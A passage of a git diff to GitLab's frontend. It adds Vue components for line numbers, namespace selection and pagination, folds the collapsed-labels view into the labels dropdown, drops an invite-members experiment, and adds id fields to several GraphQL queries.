- </div>
-
- <span
- v-if="isLocked"
- ref="lockIcon"
- v-gl-tooltip
- class="gl-px-3 gl-display-inline-block gl-cursor-not-allowed"
- :title="lockedMessage"
- >
- <gl-icon name="lock" />
- </span>
- <gl-button
- v-else-if="canRemove"
- ref="removeButton"
- v-gl-tooltip
- icon="close"
- category="tertiary"
- :disabled="removeDisabled"
- class="js-issue-item-remove-button gl-ml-3"
- data-qa-selector="remove_related_issue_button"
- :title="__('Remove')"
- :aria-label="__('Remove')"
- @click="onRemoveRequest"
- />
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/line_numbers.vue b/app/assets/javascripts/vue_shared/components/line_numbers.vue
new file mode 100644
index 00000000000..7e17cca3dcc
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/line_numbers.vue
@@ -0,0 +1,57 @@
+<script>
+import { GlIcon, GlLink } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlIcon,
+ GlLink,
+ },
+ props: {
+ lines: {
+ type: Number,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ currentlyHighlightedLine: null,
+ };
+ },
+ mounted() {
+ this.scrollToLine();
+ },
+ methods: {
+ scrollToLine(hash = window.location.hash) {
+ const lineToHighlight = hash && this.$el.querySelector(hash);
+
+ if (!lineToHighlight) {
+ return;
+ }
+
+ if (this.currentlyHighlightedLine) {
+ this.currentlyHighlightedLine.classList.remove('hll');
+ }
+
+ lineToHighlight.classList.add('hll');
+ this.currentlyHighlightedLine = lineToHighlight;
+ lineToHighlight.scrollIntoView({ behavior: 'smooth', block: 'center' });
+ },
+ },
+};
+</script>
+<template>
+ <div class="line-numbers">
+ <gl-link
+ v-for="line in lines"
+ :id="`L${line}`"
+ :key="line"
+ class="diff-line-num"
+ :href="`#L${line}`"
+ :data-line-number="line"
+ @click="scrollToLine(`#L${line}`)"
+ >
+ <gl-icon :size="12" name="link" />
+ {{ line }}
+ </gl-link>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue b/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
index e36cfb3b275..2f6776f835e 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
@@ -165,6 +165,6 @@ export default {
<template>
<div>
<div class="flash-container js-suggestions-flash"></div>
- <div v-show="isRendered" ref="container" v-safe-html="noteHtml" class="md"></div>
+ <div v-show="isRendered" ref="container" v-safe-html="noteHtml" class="md suggestions"></div>
</div>
</template>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue b/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
index 912aa8ce294..f1c293c87f4 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
@@ -1,18 +1,13 @@
<script>
import { GlButton, GlLink, GlLoadingIcon, GlSprintf, GlIcon } from '@gitlab/ui';
-import { isExperimentVariant } from '~/experimentation/utils';
-import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
-import { INVITE_MEMBERS_IN_COMMENT } from '~/invite_members/constants';
export default {
- inviteMembersInComment: INVITE_MEMBERS_IN_COMMENT,
components: {
GlButton,
GlLink,
GlLoadingIcon,
GlSprintf,
GlIcon,
- InviteMembersTrigger,
},
props: {
markdownDocsPath: {
@@ -34,9 +29,6 @@ export default {
hasQuickActionsDocsPath() {
return this.quickActionsDocsPath !== '';
},
- inviteCommentEnabled() {
- return isExperimentVariant(INVITE_MEMBERS_IN_COMMENT, 'invite_member_link');
- },
},
};
</script>
@@ -67,16 +59,6 @@ export default {
</template>
</div>
<span v-if="canAttachFile" class="uploading-container">
- <invite-members-trigger
- v-if="inviteCommentEnabled"
- classes="gl-mr-3 gl-vertical-align-text-bottom"
- :display-text="s__('InviteMember|Invite Member')"
- icon="assignee"
- variant="link"
- :track-experiment="$options.inviteMembersInComment"
- :trigger-source="$options.inviteMembersInComment"
- data-track-action="comment_invite_click"
- />
<span class="uploading-progress-container hide">
<gl-icon name="media" />
<span class="attaching-file-message"></span>
diff --git a/app/assets/javascripts/vue_shared/components/namespace_select/namespace_select.vue b/app/assets/javascripts/vue_shared/components/namespace_select/namespace_select.vue
new file mode 100644
index 00000000000..7d2af7983d1
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/namespace_select/namespace_select.vue
@@ -0,0 +1,93 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlDropdownSectionHeader, GlSearchBoxByType } from '@gitlab/ui';
+import { __ } from '~/locale';
+
+export const i18n = {
+ DEFAULT_TEXT: __('Select a new namespace'),
+ GROUPS: __('Groups'),
+ USERS: __('Users'),
+};
+
+const filterByName = (data, searchTerm = '') =>
+ data.filter((d) => d.humanName.toLowerCase().includes(searchTerm));
+
+export default {
+ name: 'NamespaceSelect',
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownSectionHeader,
+ GlSearchBoxByType,
+ },
+ props: {
+ data: {
+ type: Object,
+ required: true,
+ },
+ fullWidth: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ searchTerm: '',
+ selectedNamespace: null,
+ };
+ },
+ computed: {
+ hasUserNamespaces() {
+ return this.data.user?.length;
+ },
+ hasGroupNamespaces() {
+ return this.data.group?.length;
+ },
+ filteredGroupNamespaces() {
+ if (!this.hasGroupNamespaces) return [];
+ return filterByName(this.data.group, this.searchTerm);
+ },
+ filteredUserNamespaces() {
+ if (!this.hasUserNamespaces) return [];
+ return filterByName(this.data.user, this.searchTerm);
+ },
+ selectedNamespaceText() {
+ return this.selectedNamespace?.humanName || this.$options.i18n.DEFAULT_TEXT;
+ },
+ },
+ methods: {
+ handleSelect(item) {
+ this.selectedNamespace = item;
+ this.$emit('select', item);
+ },
+ },
+ i18n,
+};
+</script>
+<template>
+ <gl-dropdown :text="selectedNamespaceText" :block="fullWidth">
+ <template #header>
+ <gl-search-box-by-type v-model.trim="searchTerm" />
+ </template>
+ <div v-if="hasGroupNamespaces" class="qa-namespaces-list-groups">
+ <gl-dropdown-section-header>{{ $options.i18n.GROUPS }}</gl-dropdown-section-header>
+ <gl-dropdown-item
+ v-for="item in filteredGroupNamespaces"
+ :key="item.id"
+ class="qa-namespaces-list-item"
+ @click="handleSelect(item)"
+ >{{ item.humanName }}</gl-dropdown-item
+ >
+ </div>
+ <div v-if="hasUserNamespaces" class="qa-namespaces-list-users">
+ <gl-dropdown-section-header>{{ $options.i18n.USERS }}</gl-dropdown-section-header>
+ <gl-dropdown-item
+ v-for="item in filteredUserNamespaces"
+ :key="item.id"
+ class="qa-namespaces-list-item"
+ @click="handleSelect(item)"
+ >{{ item.humanName }}</gl-dropdown-item
+ >
+ </div>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue b/app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue
index 9ea14ed506c..624dbcc6d8e 100644
--- a/app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue
@@ -39,6 +39,11 @@ export default {
required: false,
default: null,
},
+ isOverviewTab: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
computed: {
...mapGetters(['getUserData']),
@@ -46,9 +51,10 @@ export default {
return renderMarkdown(this.note.body);
},
avatarSize() {
- if (this.line) {
- return 16;
+ if (this.line && !this.isOverviewTab) {
+ return 24;
}
+
return 40;
},
},
diff --git a/app/assets/javascripts/vue_shared/components/notes/system_note.vue b/app/assets/javascripts/vue_shared/components/notes/system_note.vue
index 8877cfa39fb..1963d1aa7fe 100644
--- a/app/assets/javascripts/vue_shared/components/notes/system_note.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/system_note.vue
@@ -141,6 +141,7 @@ export default {
variant="link"
:icon="descriptionVersionToggleIcon"
data-testid="compare-btn"
+ class="gl-vertical-align-text-bottom"
@click="toggleDescriptionVersion"
>{{ __('Compare with previous version') }}</gl-button
>
@@ -149,6 +150,7 @@ export default {
:icon="showLines ? 'chevron-up' : 'chevron-down'"
variant="link"
data-testid="outdated-lines-change-btn"
+ class="gl-vertical-align-text-bottom"
@click="toggleDiff"
>
{{ __('Compare changes') }}
diff --git a/app/assets/javascripts/vue_shared/components/pagination_bar/pagination_bar.stories.js b/app/assets/javascripts/vue_shared/components/pagination_bar/pagination_bar.stories.js
new file mode 100644
index 00000000000..e31446f4bb8
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/pagination_bar/pagination_bar.stories.js
@@ -0,0 +1,40 @@
+/* eslint-disable @gitlab/require-i18n-strings */
+import PaginationBar from './pagination_bar.vue';
+
+export default {
+ component: PaginationBar,
+ title: 'vue_shared/components/pagination_bar/pagination_bar',
+};
+
+const Template = (args, { argTypes }) => ({
+ components: { PaginationBar },
+ props: Object.keys(argTypes),
+ template: `<pagination-bar v-bind="$props" v-on="{ 'set-page-size': setPageSize, 'set-page': setPage }" />`,
+});
+
+export const Default = Template.bind({});
+
+Default.args = {
+ pageInfo: {
+ perPage: 20,
+ page: 2,
+ total: 83,
+ totalPages: 5,
+ },
+ pageSizes: [20, 50, 100],
+};
+
+Default.argTypes = {
+ pageInfo: {
+ description: 'Page info object',
+ control: { type: 'object' },
+ },
+ pageSizes: {
+ description: 'Array of possible page sizes',
+ control: { type: 'array' },
+ },
+
+ // events
+ setPageSize: { action: 'set-page-size' },
+ setPage: { action: 'set-page' },
+};
diff --git a/app/assets/javascripts/vue_shared/components/pagination_bar/pagination_bar.vue b/app/assets/javascripts/vue_shared/components/pagination_bar/pagination_bar.vue
new file mode 100644
index 00000000000..b4d565991f5
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/pagination_bar/pagination_bar.vue
@@ -0,0 +1,103 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlIcon, GlSprintf } from '@gitlab/ui';
+import { __ } from '~/locale';
+import PaginationLinks from '~/vue_shared/components/pagination_links.vue';
+
+const DEFAULT_PAGE_SIZES = [20, 50, 100];
+
+export default {
+ components: {
+ PaginationLinks,
+ GlDropdown,
+ GlDropdownItem,
+ GlIcon,
+ GlSprintf,
+ },
+ props: {
+ pageInfo: {
+ required: true,
+ type: Object,
+ },
+ pageSizes: {
+ required: false,
+ type: Array,
+ default: () => DEFAULT_PAGE_SIZES,
+ },
+ },
+
+ computed: {
+ humanizedTotal() {
+ return this.pageInfo.total >= 1000 ? __('1000+') : this.pageInfo.total;
+ },
+
+ paginationInfo() {
+ const { page, perPage, totalPages, total } = this.pageInfo;
+ const itemsCount = page === totalPages ? total - (page - 1) * perPage : perPage;
+ const start = (page - 1) * perPage + 1;
+ const end = start + itemsCount - 1;
+
+ return { start, end };
+ },
+ },
+
+ methods: {
+ setPage(page) {
+ // eslint-disable-next-line spaced-comment
+ /**
+ * Emitted when selected page is updated
+ *
+ * @event set-page
+ **/
+ this.$emit('set-page', page);
+ },
+
+ setPageSize(pageSize) {
+ // eslint-disable-next-line spaced-comment
+ /**
+ * Emitted when page size is updated
+ *
+ * @event set-page-size
+ **/
+ this.$emit('set-page-size', pageSize);
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-align-items-center">
+ <pagination-links :change="setPage" :page-info="pageInfo" class="gl-m-0" />
+ <gl-dropdown category="tertiary" class="gl-ml-auto" data-testid="page-size">
+ <template #button-content>
+ <span class="gl-font-weight-bold">
+ <gl-sprintf :message="__('%{count} items per page')">
+ <template #count>
+ {{ pageInfo.perPage }}
+ </template>
+ </gl-sprintf>
+ </span>
+ <gl-icon class="gl-button-icon dropdown-chevron" name="chevron-down" />
+ </template>
+ <gl-dropdown-item v-for="size in pageSizes" :key="size" @click="setPageSize(size)">
+ <gl-sprintf :message="__('%{count} items per page')">
+ <template #count>
+ {{ size }}
+ </template>
+ </gl-sprintf>
+ </gl-dropdown-item>
+ </gl-dropdown>
+ <div class="gl-ml-2" data-testid="information">
+ <gl-sprintf :message="s__('BulkImport|Showing %{start}-%{end} of %{total}')">
+ <template #start>
+ {{ paginationInfo.start }}
+ </template>
+ <template #end>
+ {{ paginationInfo.end }}
+ </template>
+ <template #total>
+ {{ humanizedTotal }}
+ </template>
+ </gl-sprintf>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/registry/list_item.vue b/app/assets/javascripts/vue_shared/components/registry/list_item.vue
index 933a215112b..6bb321713d5 100644
--- a/app/assets/javascripts/vue_shared/components/registry/list_item.vue
+++ b/app/assets/javascripts/vue_shared/components/registry/list_item.vue
@@ -54,10 +54,10 @@ export default {
class="gl-display-flex gl-flex-direction-column gl-border-b-solid gl-border-t-solid gl-border-t-1 gl-border-b-1"
:class="optionalClasses"
>
- <div class="gl-display-flex gl-align-items-center gl-py-3 gl-px-5">
+ <div class="gl-display-flex gl-align-items-center gl-py-3">
<div
v-if="$slots['left-action']"
- class="gl-w-7 gl-display-none gl-sm-display-flex gl-justify-content-start gl-pl-2"
+ class="gl-w-7 gl-display-flex gl-justify-content-start gl-pl-2"
>
<slot name="left-action"></slot>
</div>
@@ -105,7 +105,7 @@ export default {
</div>
<div
v-if="$slots['right-action']"
- class="gl-w-9 gl-display-none gl-sm-display-flex gl-justify-content-end gl-pr-1"
+ class="gl-w-9 gl-display-flex gl-justify-content-end gl-pr-1"
>
<slot name="right-action"></slot>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/registry/metadata_item.vue b/app/assets/javascripts/vue_shared/components/registry/metadata_item.vue
index 93396219a54..4c2816b63b2 100644
--- a/app/assets/javascripts/vue_shared/components/registry/metadata_item.vue
+++ b/app/assets/javascripts/vue_shared/components/registry/metadata_item.vue
@@ -1,6 +1,6 @@
<script>
import { GlIcon, GlLink, GlTooltipDirective } from '@gitlab/ui';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
export default {
name: 'MetadataItem',
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/collapsed_grouped_date_picker.vue b/app/assets/javascripts/vue_shared/components/sidebar/collapsed_grouped_date_picker.vue
deleted file mode 100644
index a1dca65a423..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/collapsed_grouped_date_picker.vue
+++ /dev/null
@@ -1,101 +0,0 @@
-<script>
-import { dateInWords, timeFor } from '~/lib/utils/datetime_utility';
-import { __ } from '~/locale';
-import timeagoMixin from '~/vue_shared/mixins/timeago';
-import collapsedCalendarIcon from './collapsed_calendar_icon.vue';
-
-export default {
- name: 'SidebarCollapsedGroupedDatePicker',
- components: {
- collapsedCalendarIcon,
- },
- mixins: [timeagoMixin],
- props: {
- collapsed: {
- type: Boolean,
- required: false,
- default: true,
- },
- minDate: {
- type: Date,
- required: false,
- default: null,
- },
- maxDate: {
- type: Date,
- required: false,
- default: null,
- },
- disableClickableIcons: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- computed: {
- hasMinAndMaxDates() {
- return this.minDate && this.maxDate;
- },
- hasNoMinAndMaxDates() {
- return !this.minDate && !this.maxDate;
- },
- showMinDateBlock() {
- return this.minDate || this.hasNoMinAndMaxDates;
- },
- showFromText() {
- return !this.maxDate && this.minDate;
- },
- iconClass() {
- const disabledClass = this.disableClickableIcons ? 'disabled' : '';
- return `sidebar-collapsed-icon calendar-icon ${disabledClass}`;
- },
- },
- methods: {
- toggleSidebar() {
- this.$emit('toggleCollapse');
- },
- dateText(dateType = 'min') {
- const date = this[`${dateType}Date`];
- const dateWords = dateInWords(date, true);
- const parsedDateWords = dateWords ? dateWords.replace(',', '') : dateWords;
-
- return date ? parsedDateWords : __('None');
- },
- tooltipText(dateType = 'min') {
- const defaultText = dateType === 'min' ? __('Start date') : __('Due date');
- const date = this[`${dateType}Date`];
- const timeAgo = dateType === 'min' ? this.timeFormatted(date) : timeFor(date);
- const dateText = date ? [this.dateText(dateType), `(${timeAgo})`].join(' ') : '';
-
- if (date) {
- return [defaultText, dateText].join('<br />');
- }
- return __('Start and due date');
- },
- },
-};
-</script>
-
-<template>
- <div class="block sidebar-grouped-item gl-cursor-pointer" role="button" @click="toggleSidebar">
- <collapsed-calendar-icon
- v-if="showMinDateBlock"
- :container-class="iconClass"
- :tooltip-text="tooltipText('min')"
- >
- <span class="sidebar-collapsed-value">
- <span v-if="showFromText">{{ __('From') }}</span> <span>{{ dateText('min') }}</span>
- </span>
- </collapsed-calendar-icon>
- <div v-if="hasMinAndMaxDates" class="text-center sidebar-collapsed-divider">-</div>
- <collapsed-calendar-icon
- v-if="maxDate"
- :container-class="iconClass"
- :tooltip-text="tooltipText('max')"
- >
- <span class="sidebar-collapsed-value">
- <span v-if="!minDate">{{ __('Until') }}</span> <span>{{ dateText('max') }}</span>
- </span>
- </collapsed-calendar-icon>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
index 4234bc72f3a..7e259cb8b96 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue
@@ -179,6 +179,8 @@ export default {
document.addEventListener('mousedown', this.handleDocumentMousedown);
document.addEventListener('click', this.handleDocumentClick);
+
+ this.updateLabelsSetState();
},
beforeDestroy() {
document.removeEventListener('mousedown', this.handleDocumentMousedown);
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue
index f7485de0342..13a6dd43207 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue
@@ -172,6 +172,13 @@ export default {
showDropdown() {
this.$refs.dropdown.show();
},
+ clearSearch() {
+ if (!this.allowMultiselect || this.isStandalone) {
+ return;
+ }
+ this.searchKey = '';
+ this.setFocus();
+ },
},
};
</script>
@@ -188,12 +195,12 @@ export default {
>
<template #header>
<dropdown-header
- v-if="!isStandalone"
ref="header"
- v-model="searchKey"
+ :search-key="searchKey"
:labels-create-title="labelsCreateTitle"
:labels-list-title="labelsListTitle"
:show-dropdown-contents-create-view="showDropdownContentsCreateView"
+ :is-standalone="isStandalone"
@toggleDropdownContentsCreateView="toggleDropdownContent"
@closeDropdown="$emit('closeDropdown')"
@input="debouncedSearchKeyUpdate"
@@ -210,6 +217,7 @@ export default {
:attr-workspace-path="attrWorkspacePath"
:label-create-type="labelCreateType"
@hideCreateView="toggleDropdownContent"
+ @input="clearSearch"
/>
</template>
<template #footer>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_header.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_header.vue
index 10064b01648..7a0f20b0c83 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_header.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_header.vue
@@ -6,9 +6,6 @@ export default {
GlButton,
GlSearchBoxByType,
},
- model: {
- prop: 'searchKey',
- },
props: {
labelsCreateTitle: {
type: String,
@@ -31,6 +28,11 @@ export default {
type: String,
required: true,
},
+ isStandalone: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
computed: {
dropdownTitle() {
@@ -47,7 +49,11 @@ export default {
<template>
<div data-testid="dropdown-header">
- <div class="dropdown-title gl-display-flex gl-align-items-center gl-pt-0 gl-pb-3!">
+ <div
+ v-if="!isStandalone"
+ class="dropdown-title gl-display-flex gl-align-items-center gl-pt-0 gl-pb-3!"
+ data-testid="dropdown-header-title"
+ >
<gl-button
v-if="showDropdownContentsCreateView"
:aria-label="__('Go back')"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue
index aed5bc303ee..57ee816c4c7 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue
@@ -1,10 +1,15 @@
<script>
-import { GlLabel } from '@gitlab/ui';
+import { GlIcon, GlLabel, GlTooltipDirective } from '@gitlab/ui';
import { sortBy } from 'lodash';
import { isScopedLabel } from '~/lib/utils/common_utils';
+import { s__, sprintf } from '~/locale';
export default {
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
components: {
+ GlIcon,
GlLabel,
},
inject: ['allowScopedLabels'],
@@ -35,6 +40,23 @@ export default {
sortedSelectedLabels() {
return sortBy(this.selectedLabels, (label) => (isScopedLabel(label) ? 0 : 1));
},
+ labelsList() {
+ const labelsString = this.selectedLabels.length
+ ? this.selectedLabels
+ .slice(0, 5)
+ .map((label) => label.title)
+ .join(', ')
+ : s__('LabelSelect|Labels');
+
+ if (this.selectedLabels.length > 5) {
+ return sprintf(s__('LabelSelect|%{labelsString}, and %{remainingLabelCount} more'), {
+ labelsString,
+ remainingLabelCount: this.selectedLabels.length - 5,
+ });
+ }
+
+ return labelsString;
+ },
},
methods: {
labelFilterUrl(label) {
@@ -48,6 +70,9 @@ export default {
removeLabel(labelId) {
this.$emit('onLabelRemove', labelId);
},
+ handleCollapsedClick() {
+ this.$emit('onCollapsedValueClick');
+ },
},
};
</script>
@@ -57,16 +82,30 @@ export default {
:class="{
'has-labels': selectedLabels.length,
}"
- class="hide-collapsed value issuable-show-labels js-value"
+ class="value issuable-show-labels js-value"
data-testid="value-wrapper"
>
- <span v-if="!selectedLabels.length" class="text-secondary" data-testid="empty-placeholder">
+ <div
+ v-gl-tooltip.left.viewport
+ :title="labelsList"
+ class="sidebar-collapsed-icon"
+ @click="handleCollapsedClick"
+ >
+ <gl-icon name="labels" />
+ <span class="gl-font-base gl-line-height-24">{{ selectedLabels.length }}</span>
+ </div>
+ <span
+ v-if="!selectedLabels.length"
+ class="text-secondary hide-collapsed"
+ data-testid="empty-placeholder"
+ >
<slot></slot>
</span>
<template v-else>
<gl-label
v-for="label in sortedSelectedLabels"
:key="label.id"
+ class="hide-collapsed"
data-qa-selector="selected_label_content"
:data-qa-label-name="label.title"
:title="label.title"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value_collapsed.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value_collapsed.vue
deleted file mode 100644
index 122250d1ce7..00000000000
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value_collapsed.vue
+++ /dev/null
@@ -1,55 +0,0 @@
-<script>
-import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
-import { s__, sprintf } from '~/locale';
-
-export default {
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- components: {
- GlIcon,
- },
- props: {
- labels: {
- type: Array,
- required: true,
- },
- },
- computed: {
- labelsList() {
- const labelsString = this.labels.length
- ? this.labels
- .slice(0, 5)
- .map((label) => label.title)
- .join(', ')
- : s__('LabelSelect|Labels');
-
- if (this.labels.length > 5) {
- return sprintf(s__('LabelSelect|%{labelsString}, and %{remainingLabelCount} more'), {
- labelsString,
- remainingLabelCount: this.labels.length - 5,
- });
- }
-
- return labelsString;
- },
- },
- methods: {
- handleClick() {
- this.$emit('onValueClick');
- },
- },
-};
-</script>
-
-<template>
- <div
- v-gl-tooltip.left.viewport
- :title="labelsList"
- class="sidebar-collapsed-icon"
- @click="handleClick"
- >
- <gl-icon name="labels" />
- <span>{{ labels.length }}</span>
- </div>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_labels.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_labels.query.graphql
index c130cc426dc..c442c17eb88 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_labels.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_labels.query.graphql
@@ -2,6 +2,7 @@
query epicLabels($fullPath: ID!, $iid: ID) {
workspace: group(fullPath: $fullPath) {
+ id
issuable: epic(iid: $iid) {
id
labels {
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_update_labels.mutation.graphql b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_update_labels.mutation.graphql
index 45fcb50732e..cb054e2968f 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_update_labels.mutation.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/epic_update_labels.mutation.graphql
@@ -1,8 +1,8 @@
#import "~/graphql_shared/fragments/label.fragment.graphql"
mutation updateEpicLabels($input: UpdateEpicInput!) {
- updateEpic(input: $input) {
- epic {
+ updateIssuableLabels: updateEpic(input: $input) {
+ issuable: epic {
id
labels {
nodes {
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql
index e471d279b24..2904857270e 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql
@@ -2,6 +2,7 @@
query issueLabels($fullPath: ID!, $iid: String) {
workspace: project(fullPath: $fullPath) {
+ id
issuable: issue(iid: $iid) {
id
labels {
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/merge_request_labels.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/merge_request_labels.query.graphql
index dd80e89c8a7..e0cdfd91658 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/merge_request_labels.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/merge_request_labels.query.graphql
@@ -2,6 +2,7 @@
query mergeRequestLabels($fullPath: ID!, $iid: String!) {
workspace: project(fullPath: $fullPath) {
+ id
issuable: mergeRequest(iid: $iid) {
id
labels {
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue
index 97a65c13933..3adda69b892 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue
@@ -2,14 +2,13 @@
import { debounce } from 'lodash';
import { MutationOperationMode, getIdFromGraphQLId } from '~/graphql_shared/utils';
import createFlash from '~/flash';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import { __ } from '~/locale';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
import { issuableLabelsQueries } from '~/sidebar/constants';
import { DEBOUNCE_DROPDOWN_DELAY, DropdownVariant } from './constants';
import DropdownContents from './dropdown_contents.vue';
import DropdownValue from './dropdown_value.vue';
-import DropdownValueCollapsed from './dropdown_value_collapsed.vue';
import {
isDropdownVariantSidebar,
isDropdownVariantStandalone,
@@ -20,7 +19,6 @@ export default {
components: {
DropdownValue,
DropdownContents,
- DropdownValueCollapsed,
SidebarEditableItem,
},
inject: {
@@ -225,15 +223,13 @@ export default {
variables: { input: inputVariables },
})
.then(({ data }) => {
- const { mutationName } = issuableLabelsQueries[this.issuableType];
-
- if (data[mutationName]?.errors?.length) {
+ if (data.updateIssuableLabels?.errors?.length) {
throw new Error();
}
this.$emit('updateSelectedLabels', {
- id: data[mutationName]?.[this.issuableType]?.id,
- labels: data[mutationName]?.[this.issuableType]?.labels?.nodes,
+ id: data.updateIssuableLabels?.issuable?.id,
+ labels: data.updateIssuableLabels?.issuable?.labels?.nodes,
});
})
.catch((error) =>
@@ -288,18 +284,14 @@ export default {
<template>
<div
- class="labels-select-wrapper position-relative"
+ class="labels-select-wrapper gl-relative"
:class="{
'is-standalone': isDropdownVariantStandalone(variant),
'is-embedded': isDropdownVariantEmbedded(variant),
}"
+ data-qa-selector="labels_block"
>
<template v-if="isDropdownVariantSidebar(variant)">
- <dropdown-value-collapsed
- ref="dropdownButtonCollapsed"
- :labels="issuableLabels"
- @onValueClick="handleCollapsedValueClick"
- />
<sidebar-editable-item
ref="editable"
:title="__('Labels')"
@@ -315,6 +307,7 @@ export default {
:labels-filter-base-path="labelsFilterBasePath"
:labels-filter-param="labelsFilterParam"
@onLabelRemove="handleLabelRemove"
+ @onCollapsedValueClick="handleCollapsedValueClick"
>
<slot></slot>
</dropdown-value>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql
index d99fc125012..bb6c7181e5c 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql
+++ b/app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql
@@ -7,6 +7,7 @@ query alertAssignees(
$iid: String!
) {
workspace: project(fullPath: $fullPath) {
+ id
issuable: alertManagementAlert(domain: $domain, iid: $iid) {
iid
assignees {
